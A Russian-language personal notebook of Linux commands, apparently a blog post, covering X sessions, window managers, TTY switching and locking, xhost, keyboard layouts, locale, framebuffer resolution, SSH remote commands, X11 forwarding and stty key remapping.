Переключившись увидишь работу графической утилиты без всяких WM и DE.
7) Запусти WM:
перейдя в консоль alt+f2
kwin или metacity или twm или mwm или ... и тд
вернись в X (:9) - как в пункте 6 - и пойми что изменилось с появлением WM
8) Запусти DE:
перейдя в консоль alt+f2
startkde или gnome-session или ... и тд
вернись в X (:9) - как в пункте 6 - и пойми что изменилось с появлением DE

Красоту можно навести командами:
xsetbg /путь/к/красивой/картинке
Консоль запустить:
xterm -g -0-0
часики:
xclock -update 1 200x200-0+0
Приложения закрывать:
xkill

Запуск игр и программ в отдельных иксах:
startx xterm -- :1

запуск сессии
xinit -- :1
startx -- :1
xinit `which xterm` -- :1

сообщение в соседнюю консоль
echo "Привет" > /dev/tty2

usermod -aG audio,video,tty,input пользователь

https://wiki.archlinux.org/title/Xorg_(Русский)
чтобы запустить X через xinit
vi /etc/X11/Xwrapper.config
allowed_users=anybody
needs_root_rights=yes

Отдельная X-сессия на ubuntu 18.04
разрешить пользователю запускать иксы
sudo apt install xserver-xorg-legacy
sudo dpkg-reconfigure xserver-xorg-legacy (выбираем “кто угодно”)
echo "needs_root_rights = yes" | sudo tee --append /etc/X11/Xwrapper.config
sudo gpasswd -a $USER video (добавляем пользователя в группу Video)
sudo gpasswd -a $USER audio (добавляем пользователя в группу Audio)
sudo reboot (компьютер будет перезагружен)
startx "ваша_программа_или_игра" -- :1
https://portwine-linux.ru/category/portwine-linux/

chvt переход в tty без ctrl+alt+F.. блокировка tty
How to change between TTY (virtual terminal) on Linux guest VMs when using a console launched from Prism Element
В Linux соединения с операционной системой могут быть выполнены:
сеанс физического терминала / сеанс консоли
сеанс псевдо-терминала, такой как SSH, xterm (для X-Windows)
сеанс виртуального аппаратного терминала

Чтобы показать идентификацию этих разных соединений, используйте команду «w»:
Обратитесь к столбцу TTY:
tty2 и tty3 относятся к сеансам виртуального терминала
:0 относится к физическому терминалу, или в этом случае консоль, запущенная из Prism Element
pts/0 и pts/2 относятся к сеансам псевдотерминала, который является видимым сеансом терминала (см. столбец FROM: 0), и к удаленному сеансу SSH

выполните в эмуляторе терминала (напр. xterm) sudo chvt 2 чтобы перейти к TTY2, это аналог ctrl+alt+F2 для перехода в /dev/tty2
затем в TTY2 ввести chvt 7 для перехода обратно в графическую консоль

Завершить процесс (kill) tty в Unix/Linux
w
who -la
skill -KILL -v pts/4
pkill -9 -t pts/0
ps -ft pts/0
kill -9 9721
killall -u username
pkill -U username
loginctl kill-user username

https://wiki.archlinux.org/index.php/Xorg#Block_TTY_access
Чтобы заблокировать доступ tty в X, добавьте следующее в xorg.conf
Section "ServerFlags"
    Option "DontVTSwitch" "True"
EndSection

Запретить пользователю убивать X
добавьте в xorg.conf следующее:
Section "ServerFlags"
    Option "DontZap"      "True"
EndSection


Как заблокировать сеансы виртуальной консоли в Linux
sudo apt-get install vlock
a — Блокировать все сеансы виртуальной консоли,
c — заблокировать текущий сеанс виртуальной консоли,
n — Переключиться на новую пустую консоль, прежде чем блокировать все сеансы,
s — Отключить механизм ключа SysRq,
t — указать тайм-аут для плагинов заставки,
h — Показать раздел справки,
v — Показать версию.


для подключения к pty следует использовать клиент ttysnoop
ttysnoop /dev/pts/0
tty -s && echo "Внутри tty"

openvt — запустить программу на новом виртуальном терминале
openvt [-c номер_vt] [-s] [-u] [-l] [-v] [--] команда параметры_команды
openvt -f -c 9 -- eсho "12345"

https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
Как повторно подключиться к отключенному сеансу SSH
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447
_______________________________________________________________________

1) X-ов можно хоть сотню запустить - главное что у них разный ":цифра" - номер дисплея.
9) Для kwin, metacity и тд - тоже нужно чтобы задана была переменная DISPLAY - раз уж пошел в другую консоль, задай там эту переменную тоже.

_________________________________________________________________________

клиент-серверная архитектура X11 позволяет сделать это
ssh -X remotehost xterm

https://wiki.archlinux.org/index.php/Xorg
https://xneur.ru/settings
Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2
DISPLAY=:2 fvwm1 &

узнать № дисплея сеанса:
echo $DISPLAY
cat /proc/$$/environ | tr '\0' '\n' | grep '^DISPLAY='

запуск хрома из snap (сходный механизм и у других приложений)
xhost +si:localuser:root
xhost +si:localuser:пользователь

export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &

nano $HOME/bin/chromium.sh



chmod +x $HOME/bin/chromium.sh

https://linux-notes.org/utilita-xhost-v-unix-linux/
vi ~/.xinitrc
#!/bin/bash
xhost +si:localuser:root &
xhost +si:localuser:пользователь &

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
export XAUTHORITY=$HOME/.Xauthority
sudo программа

раскладка
setxkbmap -layout "us,ru" -option "alt_shift_toggle,grp_led:scroll"

setxkbmap -model pc105 -layout "us,ru" -variant ",winkeys" -option "grp:alt_shift_toggle"

Параметры "XkbOptions"
Параметры "XkbOptions"
Варианты переключателей между языками в файле /etc/X11/xorg.conf
grp:toggle - переключение правым Alt;
grp:shift_toggle - двумя клавишами shift;
grp:ctrl_shift_toggle - ctrl+shift;
grp:alt_shift_toggle - alt+shift;
grp:ctrl_alt_toggle - ctrl+alt;
grp:caps_toggle - переключение по CapsLock;
grp:lwin_toggle - переключение по левой "Win" клавише на Windows клавиатуре (для X Window старше 4.2);
grp:rwin_toggle - переключение по правой "Win" клавише на Windows клавиатуре (для X Window старше 4.2);
grp:menu_toggle - переключение по клавише "Контекстное меню" на Windows клавиатуре (для X Window старше 4.2);
grp:lctrl_toggle переключение по левой клавише Control
grp:rctrl_toggle переключение по правой клавише Control
grp:switch - переключение по правому Alt только на момент нажатия
grp:lwin_switch - переключение по левой клавише Windows только на момент нажатия
grp:rwin_switch - переключение по правой клавише Windows только на момент нажатия
grp:win_switch - переключение по любой клавише Windows только на момент нажатия
Возможные значения grp_led:
grp_led - использовать индикаторы на клавиатуре для показания изменения группы
grp_led:num - индикатор Num_Lock показывает изменения группы
grp_led:caps - индикатор Caps_Lock показывает изменение группы
grp_led:scroll - индикатор Scroll_Lock показывает изменение группы


:: /etc/X11/xorg.conf ::
...
Section "InputDevice"
...
Option "XkbOptions" "grp:switch,grp:caps_toggle,grp_led:scroll"
...
EndSection
...



локаль

echo 'export LANG=en_US.utf8' >> ~/.profile
source ~/.profile

Локаль Системы По Умолчанию
https://www.shellhacks.com/ru/linux-define-locale-language-settings/
Ubuntu-18.04 и CentOS-7
localectl set-locale LANG=en_US.utf8

Ubuntu-14.04
/etc/default/locale
LANG="en_US.utf8"

CentOS-6
/etc/sysconfig/i18n
LANG="en_US.utf8"


export LANG = "ru_RU.UTF-8"
export LC_ALL = "ru_RU.UTF-8"
export LC_COLLATE = "ru_RU.UTF-8 "


разрешение экрана в tty

grep vga /proc/cmdline
grep -ir vga /etc/modprobe.d/
Вывод обеих команд должен быть пустым
sudo apt-get install v86d

hwinfo --framebuffer

nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="vga=795"
GRUB_GFXMODE=1280x1024x32
GRUB_GFXPAYLOAD_LINUX=keep

sudo update-grub

lsmod | grep drm

sudo apt install fbset
vi /etc/fb.modes
fbset --test
fbset --help
fbset -xres 1280 -yres 1024 -depth 32
mplayer video.avi -vo fbdev2 -bpp 32


xrandr
Настройка основного монитора в Ubuntu без xrandr
xrandr --query # Возвращает список моих мониторов
xrandr --output <monitor identifier> --primary # установить основной

пример команды, для hdmi
xrandr --output eDP-1 --auto --output HDMI-1 --auto --same-as eDP-1


ssh
установка XRDP, VNC и SSH на Ubuntu и Debian
$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

Запуск графических приложений через SSH (X11Forwarding)
Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
nano /etc/lightdm/lightdm.conf 
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию 
[XDMCPServer]
enabled=true

service lightdm restart 

netstat –na | more 

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP



Как "освободить" клавиши Ctrl+C, Ctrl+V, Ctrl+X в терминале
Вот какие действия обычно поддерживает любой Linux-терминал:

  • intr - Послать сигнал прерывания текущего процесса

  • quit - Послать сигнал выхода

  • erase - Удалить последний введенный символ

  • kill - Удалить текущую строку

  • eof - Послать конец файла (завершить ввод)

  • eol - Конец строки

  • eol2 - Альтернативный символ конца строки (Не-POSIX)

  • swtch - Переключиться на другой уровень оболочки (Не-POSIX)

  • start - Запустить вывод далее, если он был приостановлен

  • stop - Приостановить вывод

  • susp - Послать сигнал остановки терминала

  • dsusp - Послать сигнал остановки терминала после сброса ввода (Не-POSIX)

  • rprnt - Перерисовать текущую строку (Не-POSIX)

  • werase - Удалить последнее введенное слово (Не-POSIX)

  • lnext - Протолкнуть в ввод следующий символ, даже если это специальный символ


Чтобы узнать, к каким комбинациям клавиш привязаны действия, можно дать команду:
# stty -a
Сия команда выведет на консоль примерно такой текст:
speed 38400 baud; rows 35; columns 110; line = 0;
intr = ^C; quit = ^; erase = ^?; kill = ^U; ....

из него видно, что заняты комбинации клавиш Ctrl+C (^C) и Ctrl+V (^V) (а Ctrl+X, кстати, свободна).

Если писать точнее, то мы видим, что:
При нажатии комбинации Ctrl+C происходит действие intr. Действие intr означает отправку сигнала SIGINT, который сигнализирует консольной программе что нужно завершить работу.
При нажатии комбинации Ctrl+V происходит действие lnext. Это действие означает, что следующий вводимый символ надо воспринимать как символ, а не как команду (Последовательное нажатие Ctrl+V и Ctrl+A протолкнет в терминал символ ^A, имеющий код 01h).
Что мы должны сделать в такой ситуации, чтобы освободить Ctrl+C и Ctrl+V? Вначале подумать, а нужны ли нам действия intr и lnext. Действие intr вроде как нужно. А возникала ли у вас хоть раз необходимость в действии lnext? Нет? Значит, ненужно.
Почитав невнятную документацию по программе stty, кое-как можно понять, что для освобождения комбинации Ctrl+V нужно просто удалить привязанное к комбинации действие lnext. Для этого нужно воспользоваться командой:
# stty lnext undef

stty может перенастраиваться только на 26 букв латинского алфавита (и, возможно на некоторые знаки препинания), которые можно задавать десятичными кодами 1-26. Например, команда "stty intr 10" задаст для действия intr комбинацию Ctrl+J, т.к. буква J - десятая буква в латинском алфавите.
настроим действие intr на комбинацию Ctrl+Q (ибо Q - это "quit", "выход").
Обратите внимание, что команда "stty -a" показывает, что Ctrl+Q сопоставлено с действием start. Это действие вызывает команду "продолжать вывод на теринал после приостановки вывода" (приостановка вывода делается с помощью действия stop клавишами Ctrl+S).

Сначала нужно освободить комбинацию клавиш Ctrl+Q от действия start
# stty start undef

Затем выполняем команду:
# stty intr ^Q

и после нее, сразу, прерывание программы будет работать по Ctrl+Q (вместо традиционного для консоли Ctrl+C). Работу комбинации Ctrl+Q можно проверить на любой подходящей программе cat, top, и т.д.
Теперь вышеуказанные команды мы можем поместить в файл .bashrc в домашней директории, и терминал с этого момента будет запускаться со свободными комбинациями Ctrl+C и Ctrl+V.

Вперед в будущее: Wayland против X11
Виртуальные твари и места их обитания: прошлое и настоящее TTY в Linux
Оболочка и терминал Unix — это одно и то же?
Hello, World! Глубокое погружение в Терминалы
Linux: Difference between /dev/console , /dev/tty and /dev/tty0
Глава 18, TTY драйверы
Команды управления терминалом
Text-Terminal-HOWTO
Хрестоматия по программированию на Си в Unix 6.4. Сигналы.
Сетевые соединения X11

установка XRDP, VNC и SSH на Ubuntu и Debian.
скриншоты в иксах и консоли, разрешение экрана в tty
рабочий стол в консоли

Profile

uzverss: (Default)
uzverss

December 2024

S M T W T F S
12345 67
891011121314
15161718192021
22232425262728
293031    

Syndicate

RSS Atom

Most Popular Tags

Style Credit

Expand Cut Tags

No cut tags
Page generated Jul. 5th, 2025 03:58 am
Powered by Dreamwidth Studios